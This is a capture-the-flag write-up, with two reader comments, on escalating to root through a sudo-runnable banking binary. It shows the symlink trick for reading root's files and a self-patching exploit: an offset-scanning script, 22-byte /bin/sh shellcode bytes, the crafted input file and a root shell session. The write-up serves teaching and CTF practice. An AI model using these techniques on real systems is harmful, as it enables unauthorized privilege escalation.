Rating: 5.0

I participated in the NahamCon CTF 2022 under the TU Delft CTF Team and worked on the Bank Comes Back (scripting, medium) challenge. I ended up solving the challenge in an unintentional way, after incorrectly assuming that the intentional method would not work.

The challenge description is as follows:

> My company use a custom finance program, but they sure are banking on the fact that is will be used properly...
>
> Escalate your privileges and retrieve the flag out of root's home directory.

We're given an SSH host to connect to as `user`. Presumably we need to escalate to `root` in order to read `/root/flag.txt`.

SSHing into the host we can run `sudo -l` to figure out what binaries we can run:

```console
user@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ sudo -l
Matching Defaults entries for user on bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:
(root) NOPASSWD: /opt/banking/bank
```

The `/opt/banking/bank` binary matches what we've seen from the challenge description, so lets download it through `sftp` and open it up in IDA.

While IDA is analyzing, lets run the binary (through `sudo` of course) and play around to see what it can do:

![](https://i.imgur.com/fdAueC6.png)

The binary allows us to create customers, clerks and managers and to perform various actions through these accounts. Running `ls` after closing the binary shows that it also created some files in the current working directory, owned by root(!):

```console
user@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ ls -l
total 8
-rw-r--r-- 1 root root 0 Apr 30 21:34 clerk.dat
-rw-r--r-- 1 root root 128 Apr 30 21:34 customer.dat
-rw-r--r-- 1 root root 0 Apr 30 21:34 manager.dat
-rw-r--r-- 1 root root 87 Apr 30 21:34 recordInfo.txt
```

If we go through all options given to us by the program, we discover we have the following functionality to work with:

- **Customer creation**: Create a new customer with a chosen name, address, telephone number and PIN. Randomly assign a card ID. Append the resulting customer to `customer.dat`.
- **Customer login**: After logging in using a valid customer card ID + PIN pair, we can:
- **Withdraw**: Decreases balance by a certain amount. Cannot go negative. Updates record in-place.
- **Print account information**: Prints out the current information on-file for the customer.
- **Change PIN**: Update the PIN for the customer. Updates record in-place.
- **View activities record**: Print all lines in `recordInfo.txt` that start with the customer card ID.
- **Clerk creation**: Create a new clerk with a given username and password. Append the clerk to `clerk.dat`.
- **Clerk login**: After logging in using a valid username + password pair, we can:
- **Add new account for an existing customer**: Clone an existing customer identified by a telephone number, with a new random card ID and PIN. Append the record to `customer.dat`.
- **Delete account for an existing customer**: Delete the customer with a given card ID. Move all customer records located after the customer in `customer.dat` forward by 0x80 bytes (the size of the customer structure). The file size is not changed, so this deletion actually duplicates the last customer in the file.
- **Update customer information**: Update the name or address for an existing customer as identified by card ID. Data is updated in-place.
- **Make deposits into an account**: Increment the balance of an account as identified by card ID. Data is updated in-place.
- **Manager creation**: Create a new manager with a given username and password. Append the manager to `manager.dat`.
- **Manager login**: After logging in using a valid username + password pair, we can:
- **View information for a given customer**: Show all data on file for a customer identified by a card ID.
- **(Un)block customer**: Update a customer's `state` for a customer identified by a card ID. Data is updated in-place.
- **Show statistics**: Shows various statistics on the customers, such as the number of customers, total wealth, average wealth, etc.

Most of these operations also write a line to the `recordInfo.txt` log file, where operations done on a specific customer are prefixed with the card ID of that customer:

```console
user@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ cat recordInfo.txt
Customer activity recordings!!!
72850125: Account is biuld in Sat Apr 30 21:34:41 2022
```

After spending some time reversing the binary in IDA, we learn the following:

- the `clerk.dat` file contains a list of structures representing clerk users
- the `customer.dat` file contains a list of customer structures
- the `manager.dat` file contains a list of manager structures
- the `recordInfo.txt` file is a textual log of actions taken

The customer structure is the most interesting. Each customer has a card ID, account name, pin, telephone number, address and balance associated with them. They're stored in the following format:

```c
struct customer_entry
{
char card_id[12];
uint32_t state;
char account_name[21];
char pin[11];
uint64_t balance;
char telephone_no[16];
char address[48];
customer_entry *next_ptr;
};
```

`state` represents whether the account is locked, and `next_ptr` is zero when the structure is serialized (it is used to build a linked-list when operations are performed on the file).

Each operation on any of the data structures (whether it concerns the customers, managers, etc) will only open the file, seek/update data, then write changes when the action is performed (i.e. there's no long term in-memory storage of the data), as can for example be seen in the implementation of the withdrawal functionality:

![](https://i.imgur.com/bDMJerT.png)

Lets take a look at how we can abuse the operations given to us. Since the program runs as root and reads/writes files in the current working directory, we can set up the `*.dat`/`*.txt` files as symlinks to any arbitrary file on the system. This allows us to perform (extremely limited/conditional) reads/writes to arbitrary files on the system. The program also accepts an alternative path to `customer.dat` as third argument, so we don't even need to symlink the `customer.dat` file.

Two main ideas come to mind when we look at the operations we can perform:

- Somehow overwrite/edit `/etc/sudoers`, `/etc/passwd`, `/etc/shadow` or other "important" files in a way that allows us to elevate privileges.
- Somehow treat `/root/flag.txt` as an input file and get the program to reveal its contents to us.

The second approach is actually the **intended solution**. We can symlink `recordInfo.txt` to `/root/flag.txt`. Through the customer login -> show action log feature, we can then print all lines in the `flag.txt` (now doubling as "banking logging file") that start with the card ID of the customer. We can generate customers `flag{000` through `flag{fff` (a card ID is 8 characters long), then print out the log for each of them and extract the flag this way. Unfortunately, I **incorrectly concluded that this approach was not viable during the CTF and instead went with a different route**!

Instead, I focused on the first approach: somehow use the privileged bank process to modify a file in a way that would allow us to escalate privileges. Lets assume we have some target file `x` (such as `/etc/sudoers`). We have two choices:

- Treat `x` as an existing customers database and **add a new customer** (appending data to `x`).
- Treat `x` as an existing customers database and **update a customer** (modifying data in `x`).

Both approaches have constraints. When adding a new customer, we cannot fully control the contents of the struct that ends up appended to `x`. In fact, the data that gets appended looks like this (where `??` represents uninitialized data):

```
[8 random digits] 00 ?? ?? ??
00 00 00 00
[account name (0-20 chars)] 00
[pin (6 chars)] 00 ?? ?? ?? ??
00 00 00 00 00 00 00 00
[telephone no (0-15 chars)] 00
[address (0-40 chars)] 00 ?? ?? ?? ?? ?? ?? ??
00 00 00 00 00 00 00 00
```

This almost completely rules out using the append trick to modify _text_ files, since we're guaranteed to append null bytes which generally cause things to fail to parse. We also can't include newlines in the parts we _do_ control, since the process reads data through `fgets`, which stops after a newline.

Lets look at **updating** customers instead. Logging in as a clerk allows us to update the name and address of a customer, as long as we know their card ID. Let's take a look at how it finds the customer inside `customer.dat`:

![](https://i.imgur.com/lgIrvx6.png)

As seen in line 361, the binary uses `strcmp` to compare the card ID. It also forces us to input _exactly_ 8 characters. Given these constraints, data inside `x` can only be treated as a "customer" and updated if the following constraints hold:

- The data is located at an offset that is a multiple of `0x80` (since each customer entry is `0x80` bytes long).
- The first 8 bytes of the data must not be `00` or `0A` (newline).
- The 9th byte must be a null byte (since `strcmp` checks whether the string lengths are equal).

If all these hold, we can use the bank binary to update the `name` and `address` fields, which together represent 60 bytes of controllable data (out of the `0x80` bytes long chunk that we're treating as a "customer").

This makes it extremely limiting to use this approach to update random files in an attempt to escalate our privileges. After all, we need the file to contain zero bytes. If `x` is a file that contains text (e.g. `/etc/sudoers`), we can rule out that approach entirely. However, if we have some binary blob that we want to update, we might find an offset that satisfies this condition if we're lucky (and the binary file is long enough).

Is there a binary file that we could modify, that would allow us to escalate our privileges, which would _also_ have a decent chance at satisfying the conditions needed to update data? **Yes!** The `bank` binary itself! Our process is running as root, so it has the necessary permissions to write to itself. We're allowed to use `sudo` to call the binary, so if we successfully modify the `bank` binary to contain our own code, we can run anything we want as root!

Are there any locations inside the bank binary that satisfy the conditions we need to update files? Let's check:

```js
const fs = require("fs");
const contents = fs.readFileSync("./bank");

let offset = 0;
while (offset < contents.length) {
let good = true;
let key = Buffer.alloc(8);

for (let i = 0; i < 8; i++) {
if (contents[offset + i] === 0x00 || contents[offset + i] === 0x0A) {
good = false;
break;
}
key[i] = contents[offset + i];
}

if (contents[offset + 8] !== 0x00) good = false;

if (good) {
console.log("Offset 0x" + offset.toString(16) + " is a valid customer blob, with card ID " + key.toString("hex"));
}

offset += 0x80;
}
```

Run this and pray:

```console
thijs@windoze:~$ node scan.js
Offset 0x1480 is a valid customer blob, with card ID f30f1efa803d9d8b
Offset 0x3000 is a valid customer blob, with card ID 98c68405f0fbffff
Offset 0x3280 is a valid customer blob, with card ID e1ffff488d3d563e
Offset 0x3400 is a valid customer blob, with card ID ff4883bd98feffff
Offset 0x4600 is a valid customer blob, with card ID ff4883bd98feffff
Offset 0x7a80 is a valid customer blob, with card ID 6f6e20696e202573
```

Perfect! We have six locations inside the binary where we can update ~60 bytes each. The smallest shellcode for running `/bin/sh` is only 22 bytes long, so lets find a location to patch the binary.

The `0x3280` file offset is promising. If we check the current contents of the "address" of that "customer" (located at `0x3280 + 0x48 = 0x32c8`), we see the following:

![](https://i.imgur.com/uAmPUdO.png)

Perfect! We're in the prologue of the `logClerk` function, which we can easily trigger by using option 4 in the start menu. We should be golden if we can insert some shellcode for running `/bin/sh` in here. [This](https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html) shellcode is a prime candidate, since it is only 22 bytes and does not contain null bytes or newlines.

Now that we have everything, let's review the steps of our attack:

1. Launch the bank binary using `sudo` and make it use _itself_ as customer database: `sudo /opt/banking/bank a /opt/banking/bank`.
2. Create a new clerk.
3. Sign in as the newly created clerk.
4. Choose the option for amending customer information.
5. Use the first 8 bytes of the "customer" at offset `0x3200` of `/opt/banking/bank` as card ID: `\xe1\xff\xff\x48\x8d\x3d\x56\x3e`.
6. Choose to update the address of the "customer", using the shellcode as new address. We need to be careful here to not create any invalid instructions, since we start writing inside an instruction. Out of an abundance of caution, let's include some nops too:

```
\x30\xFE\xFF\xFF (finish existing instruction)
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 (some nops)
\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05 (shellcode)
```

7. Cleanly exit out.
8. Rerun `sudo /opt/banking/bank`, which should now be modified.
9. Choose to sign in as clerk, which should run `logClerk`, executing our shellcode.
10. Get a shell as root, `cat /root/flag.txt`, party!

Putting all these together, we get the following input we can provide to the binary:

```
3
clerk
clerk
4
clerk
clerk
3
���H�=V>
2
0�������������1�VH�/bin//shST_��;??
3
```

Let's confirm this actually works locally first.

```console
thijs@windoze:~$ cp bank bank_test
thijs@windoze:~$ ./bank a bank_test < inputs.bin
[...snip...]
thijs@windoze:~$ sha256sum bank
80766b6b7af57cc620ee4b4e79543248ded98c539298f6515c5d24ff809db085 bank
thijs@windoze:~$ sha256sum bank_test
90ce76e7a21e8f4128262a94a1aba1ae5627d6b934f94ef8ea0ed6f92bbd9b69 bank_test
```

Load `bank_test` into IDA...

![](https://i.imgur.com/MaFPSyZ.png)

Perfect! We tricked the bank binary into modifying itself. Let's execute this on remote:

```
user@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ sudo /etc/banking/bank a /etc/banking/bank < inputs
[...snip...]
user@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ :~$ sudo /opt/banking/bank
Seeding the PRNG and getting randomness for digital entropy...
Welcome to bank system!!!

Local time is: Sat Apr 30 23:08:28 2022

Choose the mode!
***********************************************************************
***1.Create a customer account!************2.Log in as a customer!*****
***3.Create a clerk account!***************4.Log in as a clerk!********
***5.Create a manager account!*************6.Log in as a manager!******
***7.Exit!*************************************************************
***********************************************************************

4
# whoami
root
# cat /root/flag.txt
flag{69927d3df0cc25deed4db905949091fa}
#
```

Victory!

taylor8294May 2, 2022, 7:11 p.m.

Hi - thanks for the great writeup! On the point about the "intended solution": how could we generate the 4096 customers with those card ids when the card id is random each time, don't believe we have control over the card id, just the name, telephone and address, no?


taylor8294May 2, 2022, 7:43 p.m.

Ah I see - we can write directly to the customer.dat file - thanks